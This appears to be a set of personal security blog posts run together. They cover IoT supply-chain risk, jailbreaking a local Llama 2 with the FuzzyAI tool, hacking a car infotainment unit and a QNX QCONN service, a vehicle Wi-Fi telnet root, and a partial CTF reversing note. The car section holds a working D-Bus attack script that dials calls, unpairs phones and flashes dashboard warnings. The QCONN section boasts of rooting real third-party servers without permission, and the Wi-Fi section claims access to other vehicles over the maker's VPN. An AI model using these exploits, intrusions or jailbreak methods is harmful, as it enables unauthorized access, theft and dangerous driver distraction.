Picture this. A small vendor lands a purchase order for ten thousand connected devices for a transport fleet. The team celebrates. Boxes leave the warehouse. Dashboards light up. Someone posts photos of pallets on LinkedIn. Local press covers the story. A reseller promotes it on the homepage. The attention feeds sales and it also feeds curiosity. Somewhere else, someone (i hope its not someone like fisher or you are royally fucked bruhh) orders two of those devices with the same one click checkout. There are no NDAs and no introductions. They are not a customer in the usual sense. They keep a clean bench for new hardware.

On the bench the device opens like any other. The case comes off. The board gets photographed. Flash is dumped. The firmware slides into familiar tools. Strings spill. File systems unfold. Symbols line up. The mobile app is unzipped so the traffic model is visible. Cloud endpoints are listed and filed. Within a day, and sometimes within an afternoon, an old and unfixed issue appears. It is not a zero day. It is a known problem in a third party component the vendor did not realize they shipped. A public proof of concept already exists. It is not elegant. It is enough.

From there the work moves quickly. Remote code execution lands on the device. Secrets fall out with it. Tokens that let the device prove itself to the backend. Keys that authorize uploads. With those in hand the attacker does not kick in a cloud door. They walk in as the device they just compromised. The map expands. Bucket names. Topics. Internal dashboards that were never meant for the public internet. Nothing dramatic, only predictable. They take what proves the point. They write a careful post. They publish code that makes the issue reproducible. If they are responsible it appears after a disclosure clock. If they are not it appears without warning.

The vendor’s incident channel lights up. Logs are pulled. The first reaction is confusion. The exploit never touches the code the team remembers writing. It never calls the APIs they swear they locked down. It slices through a different layer that arrived pre assembled inside a radio module, or a vendor SDK, or a small helper binary that never made the architecture slide. The fix is not obvious because the broken piece is not really theirs. Emails go out. Can Supplier B confirm the version. Can Company A share a build. Can anyone find the engineer who integrated this. Is the original vendor still in business. Does anyone have the source.

This is the moment where theory becomes heavy. Upstream is slow because upstream is busy or gone. The vulnerability is only real to them after you reproduce it on your exact build with your exact flags. The component you need to update depends on a compiler no one has installed in years. Secure boot is only partially secure. OTA is only partially over the air. Rollback is a shrug. Even if everything lines up, swapping a library changes the memory layout and breaks a driver that saw one test on a Friday afternoon. Rebuilding a thing you did not assemble feels like surgery without a chart.

It sounds bleak, and it is honest. The goal is not to dunk on teams that ship devices. The goal is to accept that risk is baked into how we build. The answer is not perfect code. The answer is traceability and rehearsal. Know what is in the box that carries your logo. Not a marketing SBOM. A real one. Hashes of the actual blobs that reach the flash. Know which parts by exact version speak to the outside world. Name the update agent. Name the P2P relay. Name the tiny web server that everyone forgets until it turns into root. If a stranger on the internet drops a working exploit for one of those pieces tomorrow, you should be able to say, without guessing, whether you shipped it.

Practice the hard part next. Patching for real. An emergency update drilled end to end, including failure paths. If a fix lands at ten at night, you should be able to stage it to one percent of units, watch telemetry, hold a rollback switch, and ramp the release. You should be able to push a hotfix without bricking boxes that live in trucks and talk over weak networks. You should be able to do it again two days later if the upstream patch introduces a regression. You do not find those answers in a sprint board. You find them in dry runs, alarms, and quiet postmortems.

All of this looks expensive until you compare it to the bill you pay when things go wrong. The cost of a recall is not just shipping and swaps. It is days of engineering calendars set on fire. It is strained contracts and nervous customers. It is a permanent search result that ties your name to unauthorized access. The cost of refusing to look is higher than the cost of learning to see.

Here is a short questionnaire to turn the story into a concrete self check. Keep the voice, keep the pace, but get the answers in writing.

Questions to ask yourself

• Do we have a real firmware SBOM with exact versions and hashes for every binary and library

• Can we name the update agent, the tiny web server, the P2P or relay SDK, and the crypto library by version

• Which components initiate outbound connections, to which domains, and with what trust roots

• Are device secrets unique per unit and stored in hardware or an equivalent protected store

• Did we remove default creds, debug interfaces, and unauth endpoints from production images

• Can we stage an emergency OTA to a small slice, observe telemetry, roll back safely, and ramp within forty eight hours

• Are updates signed, anti rollback enforced, and recovery reliable under power loss and weak networks

• Can we rebuild and patch third party components we did not write, including toolchains and licenses

• Do we track first hop suppliers for every module and have named contacts who answer

• Do contracts require upstream SBOMs and specify CVE response time with a security advisory channel

• Which parts of our stack are end of life, and what is our swap or containment plan now, not later

• If a third party SDK or proxy fails, could any user ever see another user’s data

• Can we rotate device credentials fleet wide without touching hardware

• If someone drops a proof of concept tonight, can we answer are we affected with evidence in under two hours

The camera you bought in two clicks is not the villain. The villain is the gap between the product you think you shipped and the stack you actually shipped. Attackers live in that gap because everyone moves slowly there. Closing it is not glamorous. It is build sheets and pinned versions. It is upstream contacts who answer when it is late. It is tests that run on the whole device, not just the UI. It is a habit of treating what is inside as a first class question, not an audit note.

Ghost Conclusion

You do not need perfect code to ship a safe product. You need a product you can name, prove, and repair. If you can list the ingredients you can track the risks. If you can track the risks you can patch without panic. The day your success post goes a little too viral someone will put your device on a bench. That is not paranoia. That is how this industry moves. The difference between a headline and a footnote is your ability to say, with a straight face, that you know what you shipped and that you can fix it.

Note: Images are AI generated.

For professional queries and projects, reach out to me at abhijit.lamsoge@outlook.com

Everyone around me seems to be an AI security expert doing all kinds of stuff. I’m definitely not that pro yet, so I decided to try the most script-kiddie thing—like in my younger days: run someone else’s tools and see if the world burns down!

The simplest thing one can do is try to make an LLM or AI agent (like Copilot or ChatGPT) reveal the recipe for “how to make a bomb,” or something else like “replace Julia Ann’s face with my friend’s girlfriend’s face.” (We all know where this would go.) Hence, systems like these must have logic or controls that prevent responses to such queries.

The practice or art of circumventing these checks by providing input that makes an LLM violate its response policies is often called “hacking” or “jailbreaking” (maybe not). I don’t know what it’s called exactly, but the simplest way to say it is: we prompt (give input to) the LLM in such a way that it ignores the walls (policies) that should constrain its output when it receives an unreasonable query.

Most of the online LLMs—GPT, Claude, Gemini, Copilot, etc.—have stronger walls. Therefore, I wanted to see if Ollama2 could be bypassed in this way.

Apparently, this kind of thing is called clever prompting or crafting your input to trick the internal policy engine of the LLM into giving you what you want. But it’s not that easy with the best LLMs out there. So why not use one LLM to generate this prompt and then feed that prompt to another LLM—phew, that’s so hard.

As an exercise, you could use existing online LLMs to generate this prompt. But I wanted to use an LLM I could run locally—because I don’t want you to steal my prompts. Bad!

It seems Ollama2 offers a great way to run a machine learning model locally on your machine, so I set it up on a local VirtualBox with Ubuntu Server, 4 processors, and 16 GB of RAM. Turns out it’s good enough for basic experiments.

Downloading and running Ollama is quite simple:

ollama run llama2

Monitoring is even more simple — just wireshark or tcpdump on port 11434 on localhost.
To send a query to ollama2 - just type it into the prompt as seen from the below image

making bomb is not supported as seen below:

It seems that some filters on ollama are triggered that prevent us from getting the response what we want ?
Now this article is about me being a script kiddie in the LLM world - so we use a tool called FuzzyAI from CyberArk, i heard about this tool when darknet diaries mentioned cyberark and I was trying to find out what they do, seems pretty cool tool to use. Setting up fuzzyAI is also straightforward, just follow their instructions on github.

After a little bit of trial and error it will generate a malicious or tricky prompt for you as below.

And sometimes it just does’’t work as expected and sometimes it worked with copilot in a corporate setting.

I am already bored with this experimentation - but maybe i will get back to this later.
For today felt good to be a script kiddie again.
Note: For professional queries and projects, reach out to me at abhijit.lamsoge@outlook.com

When I first bought my four-wheeler, I had no idea how to drive. I joined a driving class that same day to avoid any embarrassment. Surprisingly, I learned how to drive pretty quickly, in just a week. From that point on, I would take it for a spin every day on my commute to the office. While I was getting familiar with my car, the infotainment system caught my eye, and it looked pretty familiar. The next logical step was to embark on a hacking adventure.

Basic Intel:

Target Description: 4 Wheeler ICE Vehicle with Advanced(Not So Much) Infotainment

Initial Reconnaissance:

• Key-Fob Based Entry – Replay & Relay Attacks

• OBD-II Port – Diagnostics(UDS) & CAN Write

• Infotainment

• Mobile App or OEM App

This vehicle does not have any internet connectivity so does not support a Telematics or Mobile Application to track any modern functionalities.

Our Objectives:

• Unlock the vehicle using RF/Key-Fob/PEPS Attacks

• Re-Program ECU’s over UDS

• Modify or Hack into the Infotainment

Due to lack of hardware Objectives 1 & 2 will be taken up at a later time.

IVI: Target Description

Features:

• Software Update Via USB

• Bluetooth for Telephony (Calling & Media Streaming)

NOTE: All the below research was done as a blind (Complete Black Box) – I did not have any access to any debugging functionality on the vehicle or the IVI.

First Blood: Trying some luck

I just wanted to check if the USB port can double as a Network Interface(Xn) – I had a bunch of USB-To-Ethernet Dongle one was from D-Link (Asix 8887 SMSC chip) and another from Logitech.

The success of the USB port doubling as a Xn depends on the RFS’ ability to recognize the interface and load the necessary driver. This is standard Linux functionality, which will autoload the driver if it detects a compatible chip. Thanks to Udev and the DTB/DTS, you don’t have to load the driver manually.

How to validate if your dongle is compatible with the on-board RFS –

a) Check if the Adapter LED’s turn-on – Green/Orange both – indicating bi-directional Broadcast Network traffic

b) Linux systems throw random(not-so-random) traffic on the Network link if it comes up which happens only if the interface is loaded that is dependent on loading the driver if it detects a correct compatible Xn.

c) If you are old enough and have played LAN games like CS – you should know this !

The next part requires us to identify and validate whether the Network communication is stable and working.

Generally, if you have a DHCP server on the target device, then client connected to it can request an IP to be in the same LAN via Client request packet(pretty standard stuff).

But I found, there is not DHCP server running as the DHCP client requests from our device were not resolving. That brings us to assigning IP addresses manually.

For private networks the IP ranges used are typically 172.16.0.0/16 or 192.168.0.0/16 – It could also be configured to any other subnets as well.

To find the exact IP of the target device – we need to resort to wireshark and try our luck. Fortunately, there is a information leakage vulnerability in the target Linux device which allows us to read the specific packet that leaks the interface IP.

This packet can be seen as below:

The Carplay functionality keeps checking if a host is available using a broadcast request that leaks the source IP. In this case it is 192.168.10.1

Now by setting our IP address to something in this same subnet will allow a point-to-point TCP/IP LAN communication.

Once that is set – we can do a bunch of scans to see which port is open – this gives us a below list of open ports.

Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-17 17:47 IST
Nmap scan report for 192.168.10.1
Host is up (0.0036s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       Dropbear sshd 2015.68 (protocol 2.0)
2021/tcp open  servexec?
| fingerprint-strings:
|   GenericLines, NULL:
|     CALL BluetoothService:101 BSS_GAP_ServiceConnect address='70:22:FE:65:72:E3' instance='BlueMediaOne' device='MediaCtrl' service='A2DP_SOURCE';
|     EVNT MediaCtrl NAME=BSS_GAP_SERVICE_CONNECT instance='BlueMediaOne' address='70:22:FE:65:72:E3' service='A2DP_SOURCE' handle=1;
|     CALL MediaCtrl:556 BlueMediaOne_ServiceConnect address='70:22:FE:65:72:E3' service='A2DP_SOURCE' handle=1;
|     CALL BlueMediaOne:55 BSS_A2DP_Accept remoteAddr='70:22:FE:65:72:E3' localStreamRole=SINK;
|     RESP BlueMediaOne:55 BSS_A2DP_Accept handle=0 codecType=0 codecFeatures='' contentProtection=0 delayReporting=UNSUPPORTED output=CODED result=BSS_A2DP_ERROR reason='BSS_A2DP_REASON_NO_INCOMING_CONNECTION';
|_    CALL BlueMediaOne:56 BSS_A2DP_Connect rem
7000/tcp open  rtsp
| fingerprint-strings:
|   FourOhFourRequest, GetRequest:
|     HTTP/1.1 404 Not Found
|     Content-Length: 0
|     Server: AirTunes/320.17.1
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Public: ANNOUNCE, SETUP, RECORD, PAUSE, FLUSH, TEARDOWN, OPTIONS, POST, GET, PUT
|     Server: AirTunes/320.17.1
|   RTSPRequest:
|     RTSP/1.0 200 OK
|     Public: ANNOUNCE, SETUP, RECORD, PAUSE, FLUSH, TEARDOWN, OPTIONS, POST, GET, PUT
|     Server: AirTunes/320.17.1
|   SIPOptions:
|     RTSP/1.0 200 OK
|     Public: ANNOUNCE, SETUP, RECORD, PAUSE, FLUSH, TEARDOWN, OPTIONS, POST, GET, PUT
|     Server: AirTunes/320.17.1
|_    CSeq: 42 OPTIONS
|_irc-info: Unable to open connection
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2021-TCP:V=7.80%I=7%D=7/17%Time=64B53153%P=x86_64-pc-linux-gnu%r(NU
SF:LL,415,"CALL\x20BluetoothService
SF::101\x20BSS_GAP_ServiceConnect\x20address='70:22:FE:65:72:E3'\x20instan
SF:ce='BlueMediaOne'\x20device='MediaCtrl'\x20service='A2DP_SOURCE';\r\nEVNT\x20MediaCtrl\x20NAME=BSS_GAP_
SF:SERVICE_CONNECT\x20instance='BlueMediaOne'\x20address='70:22:FE:65:72:E
SF:3'\x20service='A2DP_SOURCE'\x20handle=1;\r\nCALL\x20MediaCtrl:556\x20BlueMediaOne_ServiceConnect\x20add
SF:ress='70:22:FE:65:72:E3'\x20service='A2DP_SOURCE'\x20handle=1;\r\nCALL\x20BlueMediaOne:55\x20BSS_A2DP_A
SF:ccept\x20remoteAddr='70:22:FE:65:72:E3'\x20localStreamRole=SINK;\r\nRESP\x20BlueMediaOne:55\x20BSS_A2DP
SF:_Accept\x20handle=0\x20codecType=0\x20codecFeatures=''\x20contentProtec
SF:tion=0\x20delayReporting=UNSUPPORTED\x20output=CODED\x20result=BSS_A2DP
SF:_ERROR\x20reason='BSS_A2DP_REASON_NO_INCOMING_CONNECTION';\r\nCALL\x20BlueMediaOne:56\x20BSS_A2DP_Conne
SF:ct\x20rem")%r(GenericLines,1678,"CALL\x20BluetoothService:101\x20BSS_GAP_ServiceConnect\x20address='70:
SF:22:FE:65:72:E3'\x20instance='BlueMediaOne'\x20device='MediaCtrl'\x20ser
SF:vice='A2DP_SOURCE';\r\nEVNT\x20M
SF:ediaCtrl\x20NAME=BSS_GAP_SERVICE_CONNECT\x20instance='BlueMediaOne'\x20
SF:address='70:22:FE:65:72:E3'\x20service='A2DP_SOURCE'\x20handle=1;\r\nCALL\x20MediaCtrl:556\x20BlueMedia
SF:One_ServiceConnect\x20address='70:22:FE:65:72:E3'\x20service='A2DP_SOUR
SF:CE'\x20handle=1;\r\nCALL\x20Blue
SF:MediaOne:55\x20BSS_A2DP_Accept\x20remoteAddr='70:22:FE:65:72:E3'\x20loc
SF:alStreamRole=SINK;\r\nRESP\x20Bl
SF:ueMediaOne:55\x20BSS_A2DP_Accept\x20handle=0\x20codecType=0\x20codecFea
SF:tures=''\x20contentProtection=0\x20delayReporting=UNSUPPORTED\x20output
SF:=CODED\x20result=BSS_A2DP_ERROR\x20reason='BSS_A2DP_REASON_NO_INCOMING_
SF:CONNECTION';\r\nCALL\x20BlueMedi
SF:aOne:56\x20BSS_A2DP_Connect\x20rem");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port7000-TCP:V=7.80%I=7%D=7/17%Time=64B53167%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,48,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Length:\x200\r
SF:\nServer:\x20AirTunes/320\.17\.1\r\n\r\n")%r(HTTPOptions,80,"HTTP/1\.1\
SF:x20200\x20OK\r\nPublic:\x20ANNOUNCE,\x20SETUP,\x20RECORD,\x20PAUSE,\x20
SF:FLUSH,\x20TEARDOWN,\x20OPTIONS,\x20POST,\x20GET,\x20PUT\r\nServer:\x20A
SF:irTunes/320\.17\.1\r\n\r\n")%r(RTSPRequest,80,"RTSP/1\.0\x20200\x20OK\r
SF:\nPublic:\x20ANNOUNCE,\x20SETUP,\x20RECORD,\x20PAUSE,\x20FLUSH,\x20TEAR
SF:DOWN,\x20OPTIONS,\x20POST,\x20GET,\x20PUT\r\nServer:\x20AirTunes/320\.1
SF:7\.1\r\n\r\n")%r(FourOhFourRequest,48,"HTTP/1\.1\x20404\x20Not\x20Found
SF:\r\nContent-Length:\x200\r\nServer:\x20AirTunes/320\.17\.1\r\n\r\n")%r(
SF:SIPOptions,92,"RTSP/1\.0\x20200\x20OK\r\nPublic:\x20ANNOUNCE,\x20SETUP,
SF:\x20RECORD,\x20PAUSE,\x20FLUSH,\x20TEARDOWN,\x20OPTIONS,\x20POST,\x20GE
SF:T,\x20PUT\r\nServer:\x20AirTunes/320\.17\.1\r\nCSeq:\x2042\x20OPTIONS\r
SF:\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

55556/tcp open  unknown

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.51 seconds

Astounding observations:

• ssh is enabled with dropbear version – Dropbear sshd 2015.68 (protocol 2.0) – for which there are a bunch of vulnerabilities with exploit PoC’s available

• 2021 is some kind of Diagnostics or Service port which allow some custom framework commands to be sent – will revisit this later.

• 7000 exposes RTSP methods – but might require carplay protocol level authentication – will revisit this later.

• 55556 is DBUS over Network – I was stunned when I saw this as DBUS by default does is not configured with its network level service on instead it just support SYSTEM and USER bus over unix domain sockets on local interfaces but here it was reconfigured for TCP/IP level access.

Getting access over SSH:

The simplest solution is often the best solution – I just wanted to check if the dropbear had any users that can be enumerated – unfortunately this didn’t run any standard for ex: www-data which indicates that the /etc/users file might not have much entries. With experience you get a gut feeling that it might just run everything with “root” and will not care about any multi-user or user based policies implemented. So you go ahead and try to login to ssh via root user.

It prompted us with for password which of-course was not in any standard wordlists.

Had to use a lot of OSInt for this activity – Generally what happens is when Tier I suppliers design there systems, they give internal project names to there platforms for a given vehicle. Our strategy here was to see if such internal project name was visible over the internet.

Note: Cannot divulge more details on how the project name was identified.

Mistake no. 1: This vendor used internal project name as root password and it worked !!

Mistake no. 2: Did not enable rate limiting over ssh

Mistake no. 3: Did not disable root login with password

Fluke 1: Internal project name used as root password

Once in with root access as below:

We can do a bunch of things as follows:

• DoS on the Infotainment via root access over USB – Sending tons of TCP packets –

As seen below –

• Reboot of the IVI – Simple Reboot – Just to annoy

As the device has no internet connectivity or WiFi this same exploit can’t be tried with same success. Or can it ?

A Game of Versions:

The above SSH Based exploits were possible for a certain version ex: 20190525031613 – After the newer version of the IVI via Software Update using USB – we no longer could login via root as the vendor must have installed a strong password which isn’t really findable – and I dint’ wanted to challenge the cryptography here.

However, there is an alternative way to cracking the newer version.

Getting Cozy with DBus –

Note: This works for the newer and older versions as well as the overall security not thought at for this device.

But Before that – Lets look at another interesting stuff over the same USB-to-Ethernet connection but not via root access but via DBUS.I just wanted to do a d-feet to run introspection on DBUS wheel – and connect as below:

DBUS connect command over Network is – This is pretty icky

tcp:host=192.168.10.1,port=55556

Just to give a brief – A very familiar hack to all of us from 2015 on the Jeep Cherokee had the same DBUS interface available Listening on all interfaces on the network. Pretty sad it still exists in this device after 8+ Years \m/

Once you get the DBUS connection object – you can explore a bunch of RPC procedures that might allow you to do Command Injection or utilise all the functionality of the IVI as it is available in the system.

Below is a snippet from the DBUS connection:

After a lot of reverse engineering on the DBUS RPC methods – We were able to decode and execute almost any functionality that the IVI support and can trigger this via our USB-To-Ethernet Connection.

Reverse Engineering Findings for Supported RPC over DBUS to name a few:

• connection_manager_interface – Allows to talk to the networking aspects of the IVI

• call_manager_interface – Talks to the telephony stack

• display_controller_interface – Talks to the HMI controller layer

• vehicle_features_interface – Simple Vehicle level interfacing for DBUS clients

To talk to these endpoint you can find the python library that can talk to the RPC methods – https://dbus.freedesktop.org/doc/dbus-python/

Using this library we wrote a simple script to trigger various functionalities – The trivial code is available below:

import dbus
import os
from pprint import pprint
import time
import random

# Setting up the subnet so that both the infotainment and the system are on the same subnet
os.system("sudo ifconfig eno1 192.168.10.20 netmask 255.255.255.0")
bus=dbus.bus.BusConnection("tcp:host=192.168.10.1,port=55556")

# Initalizing the program objects
connection_manager_obj = bus.get_object("com.oem.btpres.CallManager_btpres.callManager","/btpres/connectionManager")
call_manager_obj = bus.get_object("com.oem.btpres.CallManager_btpres.callManager","/btpres/callManager")
display_controller_obj = bus.get_object("com.oem.DisplayController.DisplayControl_DisplayController.dcInst","/DisplayController/dcInst")
vehicle_features_obj = bus.get_object("com.oem.VehicleFeatures.VehicleFeatures_VehicleFeatures.inst0","/VehicleFeatures/inst0")

# Initalizing interfaces
connection_manager_interface = dbus.Interface(connection_manager_obj,"com.oem.btpres.ConnectionManager")
call_manager_interface = dbus.Interface(call_manager_obj, "com.oem.btpres.CallManager")
display_controller_interface = dbus.Interface(display_controller_obj, "com.oem.DisplayController.DisplayControl")
vehicle_features_interface = dbus.Interface(vehicle_features_obj,"com.oem.VehicleFeatures.VehicleFeatures")

# Intializing method calls from interfaces created
# Syntax = m_methodcall()
m_deleteAllDevices = connection_manager_interface.get_dbus_method("deleteAllDevices")
m_getDevListAttribute = connection_manager_interface.get_dbus_method("getDevListAttribute")
m_renameBondedDevice = call_manager_interface.get_dbus_method("renameBondedDevice")
m_getInterfaceVersion = call_manager_interface.get_dbus_method("getInterfaceVersion")
m_dial = call_manager_interface.get_dbus_method("dial")
m_endAllCalls = call_manager_interface.get_dbus_method("endAllCalls")
m_BacklightControl = display_controller_interface.get_dbus_method("BacklightControl")
m_setDoorAjarWarningNoticeAttribute = vehicle_features_interface.get_dbus_method("setDoorAjarWarningNoticeAttribute")
m_setDriverBeltWarningNoticeAttribute = vehicle_features_interface.get_dbus_method("setDriverBeltWarningNoticeAttribute")
m_setLowBatteryWarningNoticeAttribute = vehicle_features_interface.get_dbus_method("setLowBatteryWarningNoticeAttribute")
m_setLowFuelWarningNoticeAttribute = vehicle_features_interface.get_dbus_method("setLowFuelWarningNoticeAttribute")
m_setParkingBrakeWarningNoticeAttribute = vehicle_features_interface.get_dbus_method("setParkingBrakeWarningNoticeAttribute")

list_of_toggle_functions = [m_setDoorAjarWarningNoticeAttribute,m_setParkingBrakeWarningNoticeAttribute,m_setLowFuelWarningNoticeAttribute,m_setLowBatteryWarningNoticeAttribute,m_setDriverBeltWarningNoticeAttribute]

device_name_to_bdaddr_mapping = {}
connected_device_details = m_getDevListAttribute()
for connected_device in connected_device_details:
    device_name_to_bdaddr_mapping[str(connected_device[0])] = str(connected_device[1])

device_name = next(iter(device_name_to_bdaddr_mapping))
device_bdaddr = device_name_to_bdaddr_mapping[device_name]
print("List of Paired Devices are:")
pprint(device_name_to_bdaddr_mapping) 
print()

# Menu driven code with available hacks         
while True:
    choice = input("1.Dial a random number\n2.End Calls\n3.Remove All Paired Devices\n4.Rename paired device\n5.Make it a Blinky\n6.Exit\n")
    if choice == "1":
        print("Please enter the number you wish to dial:")
        number = input()
        res = m_dial(device_bdaddr,number,"","",0)
        if "7" in str(res):
            print("This device is not connected to the bluetooth")
    elif choice == "2":
        res = m_endAllCalls(device_bdaddr)
        print(res)

    elif choice == "3":
        m_deleteAllDevices()
        print("All devices are now unpaired.")

    elif choice == "4":
        new_name = input("Enter the new name: ")
        m_renameBondedDevice(device_bdaddr,new_name)

    elif choice == "5":
        # Toggles the warnings and backlight setting to make it look like its blinking.
        for i in range(30):
            res = m_BacklightControl(0)
            time.sleep(1)
            res = m_BacklightControl(1)
            time.sleep(1)
            x = list_of_toggle_functions[i%len(list_of_toggle_functions)]
            x(1)
            time.sleep(1.5)
            x(0)
            time.sleep(1)

    elif choice == "6":
        print("Exiting ...")
        break
    else:
        print("Invalid option")

The fun of this exploit can be seen below:

If this happens while someone is driving then it might cause driving distraction that could lead to more safety issues.

Now to explore this new version we did some Open Source Reconn.

Enter the world of “Backdooring”

Ideally for back-dooring there are various ways:

• Get your hands on existing firmware

• Finding re-flashing process

• Bypass any firmware validation

• Run your own code from the new firmware by modifying RFS content

Sounds simple right ? Not so much

Getting dirty with Firmware: (The below information is possible because of contextual and business knowledge that I have gained over the years)

Infotainment Flashing packages or TCFG or Images are not freely distributable by the vendors unlike router or IOT device firmware due to competitor problem or other issues related to IP.

However, there is a thing called aftermarket-market where people provide services like vehicle re-tuning to mods to your vehicle. One of the aspects of this market is to upgrade stuff in vehicle including infotainment. Now for a customer who has lost warranty to his Car might want to upgrade the IVI for not so much money via official dealership instead he goes to the aftermarket party where they will happily upgrade it for less than 10$.

Question : How did the aftermarket guys get there hands on the flashing package ?

Well the short answer is from the official service centre for these vehicles – how ? – someone from aftermarket knows a guy who knows a guy at the service centre – a deal is struck to exchange any new firmware that might come for any of the vehicles and such is the tradecraft here.

This IVI is a pretty lame device and its RFS/SQFS image is rampantly available on the internet via aftermarket youtube videos – Once such Link is here – https://mega.nz/folder/GnA3UIQa – This is the newer version which doesn’t allow our ssh stuff to work. But will get to how to crack that soon.

The unsquashed package as below:

Previous version RFS that we copied over SSH access –

Also the unpacked ubifs RFS extracted image for the new sqfs with hardened root password as below:

Of-course the new version is here –

Now if you know how a bit about backdooring – then its pretty straight forward to modify the contents of the RFS and inject your own code and its pretty much game over.

To be continued…..

Hacking QNX systems over QCONN

The Boring FUN part:

I wondered whether my old exploit works for any newer sites or if I can index some new sites for this cheap vulnerability. Boy, the new popular mass indexer gave quick hits on this port and I just wanted to be a skiddie for few mins and try my exploit sequence. The indexer gave me at-least 100+ hits – Starting with the first one which was a popular telecom operator from Spain.

I entered the IP on netcat, put the port in and hit fire – Fucking lousy Shit returned the success string of the my exploit – Obviously, here you go ahead and run your command sequence to trigger the vulnerability while that garlic from mutton is hitting you !

How Many ?

I tried 5 – All of them went through – Telecom Operators from Spain & Russia, Giant from China, Some Top universities from the US(who by the way take exorbitant fees for their Master’s program – so I’m told) and some Industrial Control System from Spiderman’s hometown.

Images speak louder than words – Fuck this Shit \n/

Spain:

Russia

China

US

Do you still need a 5th ? Don’t be a skiddie – look on your own.

Access Level: gh0stshell (like literally)

Most of these servers have telnet, ssh, FTP and what not which has a lot of juicy data – Which by the way you should not touch. The access level we have allows us to transfer file and inject/upload anything and run it without restrictions – Go Figure How !

Being a not so bad Black Hat – I don’t want you to use this for scamming or stealing any data. Besides all information is still publicly available ! Writing this small article took me more time than pwning these 5+ servers.

Server Pwned with Root Access – 5

Time Take to pwn all of them – 5 mins – It will take me even less with this exploit if I wrote some shitty netcat automation – which I leave it for the pro’s out there.

Time taken to write and compile this show-off article – 25mins – WTF ! – I could have pwned more servers in that time.

Black Hat Scenario – I can probably sell access to these sites on DarkNet for some quick dirty money – but my those days are long gone.

Note: I did not pivot anywhere else from these servers

Leaving it here now – Hack Dis ?-responsibly !

With the limited time I had with this vehicle I just wanted to check a bunch of things and try to pwn the Infotainment quick and dirty

The infotainment in this is hypervisor based and supports dual OS – Android for Media and Linux or QNX for Safety functions. Our obvious target was to start with the Media OS – The OS which gives the HMI and user functions.

I did my reconnaissance for this vehicle prior to getting access to this vehicle –

It has wifi – so that was an obvious target for me.

This vehicle runs an access point(SSID: OEMXXXXrandomnum) with a default password for all vehicle released to be as ‘0000000000’ – when the vehicle is released in the field. Which makes it straight forward for anyone to connect to the wifi AP using these default credentials. Most users don’t bother to change the WiFi password as the randomly generated password is hard to remember and difficult to share with friends.

As seen below:

The WiFi password can also be randomly generated but most users prefer to connect using default password. A simple script with war-driving equipment can be developed to autopwn this vehicle who have default credentials – of-course you will have to stalk them \m/

Identifying the Hotspot AP IP:

As I was using my macbook – the below simple command shows me the route for wifi interface which points us to the IP of the AP.

#route -n get default |grep gateway
192.168.20.229 (AP IP)

Apparently the AP IP keeps changing if you re-connect over wifi – weird but ok !

Once we are on the hotspot and simple nmap shows a bunch of available ports: Cheap enough telnet is open

Lets try

nc 192.168.20.229 23 or telnet to 192.168.20.229

This drops us directly into the shell of the device: Not even anonymous prompt for creds.

Once we are rooted we can do almost anything like uploading your own script/code etc.

Apparently, this vehicle also has internet connectivity by some telematics device integrated into the digital cockpit – If this is the case then all the other vehicles that are part of the subnet must be accessible unless the ISP has provided M2M isolation on a subnet – which apparently was not the case.

Rooting Other vehicles:

This vehicle builds a tun tunnel so is part of some OEM intranet via a VPN – using this thought we can just do netcat or telnet into all those other ip addresses in the same subnet – This worked and I won’t be sharing any details on this – but unfortunately I could not capture any screenshots due to lack of time as my friend wanted to go out.

Update: 5th August,2023

The vehicle vendor fixed this issues by deploying a firewall at least. Other than telnet 7000 (Carplay RTSP), 8080 (BYOD Server), 53 (dnsmasq 2.51) was found to be running and nothing else on the entire port range. Bloody hell \m/ – Good for the OEM and its vendor that they were able to patch this trivial vulnerability(maybe someone told them). It is however, unclear, whether they fixed the other vulnerability to reach other vehicles in the subnet over tun. This can be validated back if we get access via some exploit over dnsmasq or RTSP protocol.

Now I will try to conduct some more research on what else I can do – Till then – Chao !

Recommendation to OEM/Tier I's: Start a goddam bug bounty for this stuff or make your systems accesible for some security research.

I will not be releasing this binary although this was 5-6 years ago – This company is doing crazy work in Side Channel Attacks and Tools and is very successfull. Unfortunately, I could not complete the entire challenge for this company.

To Identify a Secret-Flag that would be uncovered if we:

• Either Find the Key and then run the binary with that Key on an ARM board

•  Use the found Key to further go ahead and uncover the Secret Flag just by reversing the encryption, xor algorithm from the binary

Approaches used:

• Static Analysis

• GDB and IDA Pro

• GHIDRA (Released 5th March)

Static Analysis: – Initially I tried some simple static analysis like strings

The first order or business from this output is to make a rough picture of what possibly the code is doing.

These suggest the strings printed from functions like printf, stderr etc.

• Code exits abruptly from somewhere

• Puts probably puts something to stdout

• Putchar probably puts some character somewhere

• Abort like aborts the program

• Printf prints something

• Strlen calculates string length, maybe for inputted string.

• Stderr writes error to console

• Fwrite write something to some stream

Combining this with dynamic analysis would get us to conclude on a few more things:

• program accepts argument from command line, prints usage.

• Exits is key length or input is less than or greater than 9, which probably would be the key length. (Concluded after editing code from GHIDRA)

• After this I tried to follow assembly and dynamic analysis in GDB, but it was moving slow. As I am a regular follower of NSA, I was eyeing for their GHIDRA release, which happened at the right time the challenge was shared with me around 25th March, and I could start working on it only on 31st March. So I shifted to GHIDRA as it has an inbuilt decompiler, which other reverse engineering tools din’t have or are too expensive for me. Took me a few hours to start on with the GHIDRA journey, saw a few videos by LiveOverflow and John Hammond to get started, and viola. Below is the first screenshot from GHIDRA

I edited some of the code like function signatures, variable types etc. to make the code look more C, which it was already and exported the code to a bin100.c file.

It is clear from this the code expects a Key length that is equal to 9 or it exits with wrong length. I recompiled the code saved from GHIDRA on X86 go get this out and speed up the process.

Now it is clear that we need to bypass all the conditions correctly for the given if conditions mentioned above for the challenge to go inside the while loop and generate the secret flag or something.

I tried to comment out rest of the code and enabled only specific code for the current condition being tested for validity.

Logic:

